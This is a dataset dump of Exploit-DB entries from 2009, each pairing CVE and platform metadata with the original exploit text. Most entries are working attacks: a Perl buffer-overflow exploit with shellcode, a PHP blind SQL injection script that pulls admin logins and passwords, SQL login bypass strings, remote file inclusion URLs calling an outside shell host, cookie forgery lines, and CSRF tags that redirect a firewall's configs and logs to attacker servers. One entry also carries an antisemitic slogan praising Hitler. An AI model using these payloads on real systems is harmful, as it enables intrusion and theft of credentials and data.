QLWD/code_shield huggingface dataset:
标题: Euphonics Audio Player 1.0 - '.pls' Local Buffer Overflow EDB-ID: 7958 CVE: 2009-0476 类型: LOCAL 平台: WINDOWS 发布日期: 2009-02-03 漏洞利用脚本: #!/usr/bin/perl -w
#-----------------------------------------------------------------------------
# Author : h4ck3r#47
# Euphonics Audio Player v1.0 (.pls) Local Buffer Overflow Exploit
# Tested in Windows Pro Sp3 (English)
# Gr33tz to : str0ke , T.N.T:18 , AlpHaNiX , All arab4services.net and friends
#-----------------------------------------------------------------------------
my $overflow = "\x41" x 1324;
my $ret = "\x7B\x46\x86\x7C"; # jmp ESP from kernel32.dll in Windows pro Sp3
my $nop = "\x90" x 100 ;

# win32_exec -  EXITFUNC=seh CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com/
my $shellcode =
"\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x34".
"\x92\x42\x83\x83\xeb\xfc\xe2\xf4\xc8\x7a\x06\x83\x34\x92\xc9\xc6".
"\x08\x19\x3e\x86\x4c\x93\xad\x08\x7b\x8a\xc9\xdc\x14\x93\xa9\xca".
"\xbf\xa6\xc9\x82\xda\xa3\x82\x1a\x98\x16\x82\xf7\x33\x53\x88\x8e".
"\x35\x50\xa9\x77\x0f\xc6\x66\x87\x41\x77\xc9\xdc\x10\x93\xa9\xe5".
"\xbf\x9e\x09\x08\x6b\x8e\x43\x68\xbf\x8e\xc9\x82\xdf\x1b\x1e\xa7".
"\x30\x51\x73\x43\x50\x19\x02\xb3\xb1\x52\x3a\x8f\xbf\xd2\x4e\x08".
"\x44\x8e\xef\x08\x5c\x9a\xa9\x8a\xbf\x12\xf2\x83\x34\x92\xc9\xeb".
"\x08\xcd\x73\x75\x54\xc4\xcb\x7b\xb7\x52\x39\xd3\x5c\x62\xc8\x87".
"\x6b\xfa\xda\x7d\xbe\x9c\x15\x7c\xd3\xf1\x23\xef\x57\xbc\x27\xfb".
"\x51\x92\x42\x83";

my $file="hx.pls";

$exploit = $overflow.$ret.$nop.$shellcode;
open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE $exploit ;
close($FILE);
print "Done \n";

# milw0rm.com [2009-02-03] URL: https://www.exploit-db.com/exploits/7958
标题: Online Grades 3.2.4 - Authentication Bypass EDB-ID: 7956 CVE: 2009-0479 2009-0453 2009-0452 类型: WEBAPPS 平台: PHP 发布日期: 2009-02-03 漏洞利用脚本: #########################################################################################

    [0x01] Informations: 
 Script : Online Grades 3.2.4 
 Download : http://www.onlinegrades.org 
 Vulnerability : Auth Bypass - Php Info Disclosure 
 Author : x0r 
 Contact : x0r@live.it \ andry2000@hotmail.it 
 Website : NULL 

#########################################################################################

    [0x02] Bug: /parents/login.php 
 
 $username = $_POST['uname']; $pword = $_POST['pass']; 
 $mysql_query = "SELECT * from PARENTS where client_id = '$username' and
client_pw = '$pword';"; 

#########################################################################################

    [0x03] Exploit: 
 Exploit: [validemail] ' or ' 1=1-- 
 
 Php Info: /includes/phpinfo.php 

#########################################################################################

# milw0rm.com [2009-02-03] URL: https://www.exploit-db.com/exploits/7956
标题: ClickCart 6.0 - Authentication Bypass EDB-ID: 7953 CVE: 2009-0462 类型: WEBAPPS 平台: PHP 发布日期: 2009-02-03 漏洞利用脚本: [â˜¢] â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢{Ø¨Ø³Ù… Ø§Ù„Ù„Ù‡ Ø§Ù„Ø±Ø­Ù…Ù† Ø§Ù„Ø±Ø­ÙŠÙ…}â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢
 [â˜ ]
[~] Tybe:(Auth Bypass) Remote SQL Injection Vulnerability
 [â˜ ]
[~] Vendor: clicktech.com
 [â˜ ]
[â˜ ] Software: clickcart 6.0
 [â˜ ]
[â˜ ] author: ((Ñ3d D3v!L))
 [â˜ ]
[â˜ ] Date: 2.2.2009
 [â˜ ]
[â˜ ] Home: WwW.aHACKER.biz
 [â˜ ]
[â˜ ] contact: N/A
[â˜ ]â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ {DEV!L'5 of SYST3M}â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ 

[â˜ ] Exploit:

[â˜ ] E-/\/\A!L : r0' or ' 1=1--
[â˜ ] password : r0' or ' 1=1--

[â˜ ]login 4 d3m0:

[â˜ ]www.clicktech.com/clickcart6/customer_login.asp

N073:
FUCKEN !SRAEL DON'T FORGET ((â˜ HETLARâ˜ ))

GOD HELP GAZA!!

[~]-----------------------------{str0ke}-----------------------------------------------------
[~] Greetz tO: {str0ke} & maxmos & Mr.DaNgeR & hesham_hacker & K374 & M4NON & EL z0hery
 [~]
[~] spechial thanks : ((dolly)) & ((7am3m)) & ghost L0v3R & Û©ÛžÛ©à¹‘ SEMSEM à¹‘Û©ÛžÛ© & {str0ke}
 [~]
[â˜ ] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --samakiller
 [~]
[~] exploi6.biZ & ahacker.biz
 [~]
[~]--------------------------------------------------------------------------------

# milw0rm.com [2009-02-03] URL: https://www.exploit-db.com/exploits/7953
标题: groone glinks 2.1 - Remote File Inclusion EDB-ID: 7954 CVE: 2009-0463 类型: WEBAPPS 平台: PHP 发布日期: 2009-02-03 漏洞利用脚本: #########################################################
# GLINKS v2.1 Remote File Include Vulnerability
# http://www.groonesworld.com/programs/glinks/glinks.zip
# 
#========================================================
# Author: k3vin mitnick( tunisianblackhat team ) =
# 
# Home : http://tunisianblackhat.com & scarface-team.org =
# 
# email: kevinmitnick[A]live.fr = web-terrorist@mail.ru =
# 
#=========================================================
#
#        bug : <style type="text/css">
#                      <?php include($abspath.'/css/style.inc'); ?>
#                </style>
# 
# exploit   :
#  http://localhost/glinks/includes/header.php?abspath=http://www.evilc0der.com/c99.txt?
#
#
#
##########################################################
>
 .:: Tunisian Blackhat team work with scarface-team many suprise as soon ::.
>


> ########################( Greetz )###########################
# scarface-team mrabah12R feyiz marw?-neo  samy chelly
# hug, pelo, iskorpitx , ByalBayx crackerz-Team,milw0rm.com
# C4TEAM & c4team.org & snap and all
# tunisian hackers #
#
#
#
> #############################################################

# milw0rm.com [2009-02-03] URL: https://www.exploit-db.com/exploits/7954
标题: WholeHogSoftware Ware Support - Insecure Cookie Handling EDB-ID: 7951 CVE: 2009-0461 2009-0460 类型: WEBAPPS 平台: PHP 发布日期: 2009-02-03 漏洞利用脚本: ###########################################################################
[+] WholeHogSoftware Ware Support Insecure Cookie Handling Vulnerability
[+] Script   :Ware Support
[+] Site     :http://wholehogsoftware.com
[+] Detay    :http://wholehogsoftware.com/index.php/page/ware_support
[+] Discovered By Mountassif Moad   
              
[+] www.v4-team.com            
       
[+] Greetz : All my Freind
###########################################################################
Exploit:
javascript:document.cookie = "adminid=8; path=/";
DeMo :
http://www.wholehogsoftware.com/demo/support/admin/

# milw0rm.com [2009-02-03] URL: https://www.exploit-db.com/exploits/7951
标题: WholeHogSoftware Password Protect - Insecure Cookie Handling EDB-ID: 7952 CVE: 2009-0461 2009-0460 类型: WEBAPPS 平台: PHP 发布日期: 2009-02-03 漏洞利用脚本: ###########################################################################
[+] WholeHogSoftware Password Protect Insecure Cookie Handling Vulnerability
[+] Script   :Password Protect
[+] Site     :http://wholehogsoftware.com
[+] Detay    :http://www.wholehogsoftware.com/index.php/page/password_protect_enhanced
[+] Discovered By Mountassif Moad   
              
[+] www.v4-team.com            
       
[+] Greetz : All my Freind
###########################################################################
Exploit:
javascript:document.cookie = "adminid=8; path=/";
DeMo :
http://www.wholehogsoftware.com/demo/password_protect_enhanced/admin

# milw0rm.com [2009-02-03] URL: https://www.exploit-db.com/exploits/7952
标题: WEBalbum 2.4b - 'id' Blind SQL Injection EDB-ID: 7961 CVE: 2009-0446 类型: WEBAPPS 平台: PHP 发布日期: 2009-02-03 漏洞利用脚本: <?php
ini_set("max_execution_time",0);
print_r('
##############################################################################
#
#                WEBalbum v2.4b Blind SQL Injection Exploit
#                 (Some webpages have a diffirint table name)
#                      ---->>>> xoron <<<<<-----
#                           xorontr@gmail.com
#                            XORON (c) 2009
#
#     WARNING!: php xoron.php "http://www.web-album.org/[PATH]/photo.php?id=1"
#
##############################################################################
');
if ($argc > 1) {
$url = $argv[1];
$r = strlen(file_get_contents($url."+and+1=1--"));
echo "\nExploiting:\n";
$w = strlen(file_get_contents($url."+and+1=0--"));
$t = abs((100-($w/$r*100)));
echo "Username: ";
for ($i=1; $i <= 30; $i++) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+login+from+webalbum_users+limit+0,1),".$i.",1))!=0--"));
   if (abs((100-($laenge/$r*100))) > $t-1) {
      $count = $i;
      $i = 30;
   }
}
for ($j = 1; $j < $count; $j++) {
   for ($i = 46; $i <= 122; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+login+from+webalbum_users+limit+0,1),".$j.",1))%3E".$i."--"));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+login+from+webalbum_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 122;
      }
   }
}
echo "\nPassword: ";
for ($j = 1; $j <= 49; $j++) {
   for ($i = 46; $i <= 102; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+webalbum_users+limit+0,1),".$j.",1))%3E".$i."--"));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+webalbum_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 102;
      }
   }
}
}
?>

# milw0rm.com [2009-02-03] URL: https://www.exploit-db.com/exploits/7961
标题: sourdough 0.3.5 - Remote File Inclusion EDB-ID: 7946 CVE: 2009-0456 类型: WEBAPPS 平台: PHP 发布日期: 2009-02-02 漏洞利用脚本: -----------------:Remote File Include:-----------------
-------------------------------------------------------
script:sourdough 0.3.5
   
------------------------------------------------------------------
download from:http://www.mirrorservice.org/sites/download.sourceforge.net/pub/sourceforge/s/so/sourdough/sourdough-0.3.5-alpha.zip
   
------------------------------------------------------------------

........................................................
vul: /thirdparty/patForms/examples/example_clientside_javascript.php line 32

  require_once $neededFiles['patForms'];

------------------------------------------------------
-----------------------------------------------------

xpl:

http://127.0.0.1/thirdparty/patForms/examples/example_clientside_javascript.php?neededFiles[patForms]=shell.txt?


***************************************************
***************************************************
---------------------------------------------------
Author: ahmadbady [kivi_hacker666@yahoo.com]

from[iran]
---------------------------------------------------

# milw0rm.com [2009-02-02] URL: https://www.exploit-db.com/exploits/7946
标题: SkaLinks 1.5 - Authentication Bypass EDB-ID: 7932 CVE: 2009-0451 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-30 漏洞利用脚本: ########################################
#                                      #
# Product : SkaLinks                   #
# Version : 1.5                        #
# Dork : Powered by SkaLinks           #
# Site: http://www.skalinks.com/       #
# Founded by: Dimi4                    #
# Date : 29.01.09                      #
# Greetz: antichat                     #
#                                      #
########################################

SQL-injection, Auth Bypass
[+] URL: http://target.com/skalinks_1_5/admin/
[+] Admin name : 1' OR 1=1/*

Bug Function:

 function IsAdmin( )
    {
        $table_name = $this->m_AdminsTable;
        $res = $this->db_Row( "SELECT * FROM `$table_name` WHERE `Name`='".$_COOKIE['adminname']."' AND `Password`='".$_COOKIE['pwd']."'");
        if ( !$res )
        {
            return 0;
        }
        else
        {
            return $res;
        }
    }
(c) Dimi4, 2009 greetz to antichat

# milw0rm.com [2009-01-30] URL: https://www.exploit-db.com/exploits/7932
标题: AJA Portal 1.2 (Windows) - Local File Inclusion EDB-ID: 7939 CVE: 2009-0457 类型: WEBAPPS 平台: PHP 发布日期: 2009-02-02 漏洞利用脚本: -------------:multi local file include:------------
---------------
script:AJA 1.2
   
------------------------------------------------------------------
download from:http://www.magtrb.com/en/modules.php?name=Downloads&op=getit&lid=6
   
------------------------------------------------------------------

........................................................
vul1: \modules\Contact_Plus\admin\case.php line 14:

if (!stristr($_SERVER['SCRIPT_NAME'], "".$admin_file.".php")) { die ("Access Denied"); }
$module_name = "Contact_Plus";
include_once("modules/$module_name/admin/language/lang-".$currentlang.".php"); line 14

...............

vul2: /modules/Fancy_NewsLetter/admin/includes/FANCYNLOptions.php line 2:

require_once('modules/'.$module_name.'/admin/includes/Modules/Banners.php'); line2
...............

vul3: /modules/Reviews/admin/case.php line 14:

if (!eregi("".$admin_file.".php", $_SERVER['SCRIPT_NAME'])) { die ("Access Denied"); }
$module_name = "Reviews";
include_once("modules/$module_name/admin/language/lang-".$currentlang.".php"); line 14

-----------------------------------------------------
-----------------------------------------------------

xpl:

http://127.0.0.1/path/modules/Contact_Plus/admin/case.php?currentlang=[Lfi]%00

http://127.0.0.1/path/modules/Fancy_NewsLetter/admin/includes/FANCYNLOptions.php?module_name=[Lfi]%00

http://127.0.0.1/path/modules/Reviews/admin/case.php?currentlang=[Lfi]%00

***************************************************
***************************************************
---------------------------------------------------
Author: ahmadbady [kivi_hacker666@yahoo.com]

from[iran-tehran]
---------------------------------------------------


# milw0rm.com [2009-02-02] URL: https://www.exploit-db.com/exploits/7939
标题: WholeHogSoftware Ware Support - Authentication Bypass EDB-ID: 7940 CVE: 2009-0459 2009-0458 类型: WEBAPPS 平台: PHP 发布日期: 2009-02-02 漏洞利用脚本: #############################################
#----C4TEAM.ORG---ByALBAYX----C4TEAM.ORG----#
#############################################
[~]Author   : ByALBAYX

[~]Website  : WWW.C4TEAM.ORG
#############################################
[~]Script   :Ware Support

[~]Site     :http://wholehogsoftware.com

[~]Price    :$20.00

[~]Detay    :http://wholehogsoftware.com/index.php/page/ware_support
#############################################
[~]....


[~]Admin Path :http://c4team.org / [Ware Support_PATH] /admin/



[~]Username   : ' or '1=1



[~]Password   : ' or '1=1



[~]Demo       :http://www.wholehogsoftware.com/demo/support/admin/


[~]....   vs..
#############################################
[~]iSiNiZE BAqIN :=)

[~]Greetz For C4TEAM Members

[~]Bir insan Hakkinda Ne Kadar Bilgin Varsa O kadar Yorum Yap...   ;=)
#############################################
Derdimi dinledim, derdimden iGRENDiM...
Onun derdini gordum, derdime iMRENDiM...
FilistiN
----------

# milw0rm.com [2009-02-02] URL: https://www.exploit-db.com/exploits/7940
标题: Elecard AVC HD player - '.m3u' / '.xpl' Local Stack Overflow (PoC) EDB-ID: 7942 CVE: 2009-0443 类型: DOS 平台: WINDOWS 发布日期: 2009-02-02 漏洞利用脚本: #!/usr/bin/perl
#Elecard AVC HD PLAYER m3u/xpl file Local Stack Overflow POC
#Found By AlpHaNiX
#From NullArea.Net
###########################
#    proof of concept    
###########################
#Stack Get Overflowed Starting from 2353 char
#EIP overitten
#------------------
#     REGISTRES   
#------------------
#EAX 00000000
#ECX 41414141
#EDX 775A104D ntdll.775A104D
#EBX 00000000
#ESP 0012BC9C
#EBP 0012BCBC
#ESI 00000000
#EDI 00000000
#EIP 41414141
#------------------
#  Dump From Stack
#------------------
#0012D000   41414141
#0012D004   41414141
#0012D008   41414141
#0012D00C   41414141
#0012D010   41414141
#0012D014   41414141
#0012D018   41414141
#0012D01C   41414141
#0012D020   41414141
#0012D024   41414141
#0012D028   41414141

my $file = "alpix.m3u" ;
my $poc="http://"."A" x 2353 ;
open(alpix, ">>$file") or die "Cannot open $file";
print alpix $poc;
close(alpix);
print "\n[+] done ! , $file created";

# milw0rm.com [2009-02-02] URL: https://www.exploit-db.com/exploits/7942
标题: WholeHogSoftware Password Protect - Authentication Bypass EDB-ID: 7941 CVE: 2009-0459 2009-0458 类型: WEBAPPS 平台: PHP 发布日期: 2009-02-02 漏洞利用脚本: #############################################
#----C4TEAM.ORG---ByALBAYX----C4TEAM.ORG----#
#############################################
[~]Author   : ByALBAYX

[~]Website  : WWW.C4TEAM.ORG
#############################################
[~]Script   :Password Protect

[~]Site     :http://wholehogsoftware.com

[~]Price    :$20.00

[~]Detay    :http://www.wholehogsoftware.com/index.php/page/password_protect_enhanced
#############################################
[~]....


[~]Admin Path :http://c4team.org / [Password Protect_PATH] /admin/



[~]Username   : ' or '1=1



[~]Password   : ' or '1=1



[~]Demo       :http://www.wholehogsoftware.com/demo/password_protect_enhanced/admin


[~]....   vs..
#############################################
[~]iSiNiZE BAqIN :=)

[~]Greetz For C4TEAM Members

[~]Bir insan Hakkinda Ne Kadar Bilgin Varsa O kadar Yorum Yap...   ;=)
#############################################
Derdimi dinledim, derdimden iGRENDiM...
Onun derdini gordum, derdime iMRENDiM...
FilistiN
----------

# milw0rm.com [2009-02-02] URL: https://www.exploit-db.com/exploits/7941
标题: sma-db 0.3.12 - Remote File Inclusion / Cross-Site Scripting EDB-ID: 7936 CVE: 2009-1451 2009-1450 类型: WEBAPPS 平台: PHP 发布日期: 2009-02-02 漏洞利用脚本: -----------------:Remote File Include/cross site script:-----------------

script:SMA-DB v0.3.12
   
------------------------------------------------------------------
download from:http://bluevirus.ch/media/downloads/SMA-DB_v0.3.12.zip
   
------------------------------------------------------------------
........................................................
vul:/theme/format.php


<?php include($_page_content);?> line 49

------------------------------------------------------
-----------------------------------------------------
xpl:

http://127.0..0.1/path/theme/format.php?_page_content=[shell.txt?]

xss:
http://127.0.0.1/path/startpage.php/>"><ScRiPt>alert(0)</ScRiPt>

***************************************************
***************************************************
---------------------------------------------------
Author: ahmadbady [kivi_hacker666@yahoo.com]

from[iran]
---------------------------------------------------

# milw0rm.com [2009-02-02] URL: https://www.exploit-db.com/exploits/7936
标题: Synactis All_IN_THE_BOX ActiveX 3.0 - Null Byte File Overwrite EDB-ID: 7928 CVE: 2009-0465 类型: REMOTE 平台: WINDOWS 发布日期: 2009-01-30 漏洞利用脚本: Digital Security Research Group [DSecRG] Advisory       #DSECRG-09-006

http://www.dsecrg.com/pages/vul/show.php?id=62


Application:                    Synactis All_IN_THE_BOX ActiveX
Versions Affected:              3
Vendor URL:                     http://synactis.com
Bugs:                           Null byte File overwriting
Exploits:                       YES
Reported:                       15.01.2009
Vendor response:                NONE
Second Report:                  22.01.2009
Vendor response:                NONE
Date of Public Advisory:        30.01.2009
Authors:                        Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)


Description
***********
Synactis All_IN_THE_BOX ActiveX  Control  (ALL_IN_THE_BOX.OCX) can be used to owervrite any any file in target system.
Vulnerable method is "SaveDoc()"


Details
*******

By default when saving file All_IN_THE_BOX ActiveX control  attend extension to filename variable in "SaveDoc()" method.
For example if you enter filename "boot.ini" in "SaveDoc()" method then control will create file boot.ini.box.
But by attending a null byte to filename attacker can owervrite any file in OS (see example for owervriting boot.ini)



Class AllBox
GUID: {B5576893-F948-4E0F-9BE1-A37CB56D66FF}
Number of Interfaces: 1
Default Interface: IAllBox
RegKey Safe for Script: False
RegkeySafe for Init: False
KillBitSet: False



Example:
*******

<html>
Test Exploit page
<object classid='clsid:B5576893-F948-4E0F-9BE1-A37CB56D66FF' id='sh2kerr' ></object>
<script language='vbscript'>

targetFile = "C:\PROGRA~1\Synactis\ALLIN-~1\ALL_IN~1.OCX"
prototype  = "Sub SaveDoc ( ByVal aFileName As String )"
memberName = "SaveDoc"
progid     = "All_In_The_Box.AllBox"
argCount   = 1
arg1="C:\boot.ini"+unescape("%00")
sh2kerr.SaveDoc arg1
</script>
</html>



Fix Information
***************

No patches available.
We did not get any response from vendor for 2 weeks.




About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:        research [at] dsec [dot] ru
                http://www.dsecrg.com
                http://www.dsec.ru

# milw0rm.com [2009-01-30] URL: https://www.exploit-db.com/exploits/7928
标题: Profense Web Application Firewall 2.6.2 - Cross-Site Request Forgery / Cross-Site Scripting EDB-ID: 7919 CVE: 2009-0468 2009-0467 类型: REMOTE 平台: WINDOWS 发布日期: 2009-01-29 漏洞利用脚本: Written By Michael Brooks
Special thanks to str0ke!

Affects: Profense Web Application Firewall XSRF and XSS
Version: 2.6.2
download http://www.armorlogic.com/download_software.html

"Defenses against all OWASP Top Ten vulnerabilities"
 Too bad it doesn't defend its self against all of these vulnerabilities....


Chaning configuration:
DNS, SMTP,  NTP servers.
Set a (malcious) remote FTP server or SCP server to backup (steal)
configuration files.   This could be used to steal the configuraitons.
Set a remote syslog server to steal the logs
Enable SSH
Enable SNMP
<img src=https://10.1.1.199:2000/ajax.html?hostname=profense.mydomain.com&gateway=10.1.1.1&dns=10.1.1.1&smtp=10.1.1.1&max_src_conn=100&max_src_conn_rate_num=100&max_src_conn_rate_sec=10&blacklist_exp=3600&ntp=ntp.hacked.com&timezone=CET&syslog=syslog.hacked.com&syslog_ext_l=4&snmp_public=public&snmp_location=&contact=admin%40mydomain.com&ftp_server=ftp.hacked.com&ftp_port=21&ftp_login=user&ftp_passwd=password&ftp_remote_dir=%2Fhijacked_log&scp_server=scp.hacked.com&scp_port=22&scp_login=admin&scp_remote_dir=%2Fhijacked_log&ftp_auto_on=on&scp_auto_on=on&ssh_on=on&remote_support_on=on&action=configuration&do=save>
Apply new configurations:
<img src=https://10.1.1.199:2000/ajax.html?action=restart&do=core>

Add a proxy:
<img src=https://10.1.1.199:2000/ajax.html?vhost_proto=http&vhost=vhost.com&vhost_port=80&rhost_proto=http&rhost=10.1.1.1&rhost_port=80&mode_pass=on&xmle=on&enable_file_upload=on&static_passthrough=on&action=add&do=save>

Turn off the Proface machine:
<img src=https://10.1.1.199:2000/ajax.html?action=shutdown>

Force the Proface server to ping:
<img src=https://10.1.1.199:2000/ajax.html?action=ping&ip=10.1.1.1>
Could be used to nofiy the attacker that the attack succeeded.

reflective xss:
https://10.1.1.199:2000/proxy.html?action=manage&main=log&show=deny_log&proxy=>"<script>alert(document.cookie)</script>

# milw0rm.com [2009-01-29] URL: https://www.exploit-db.com/exploits/7919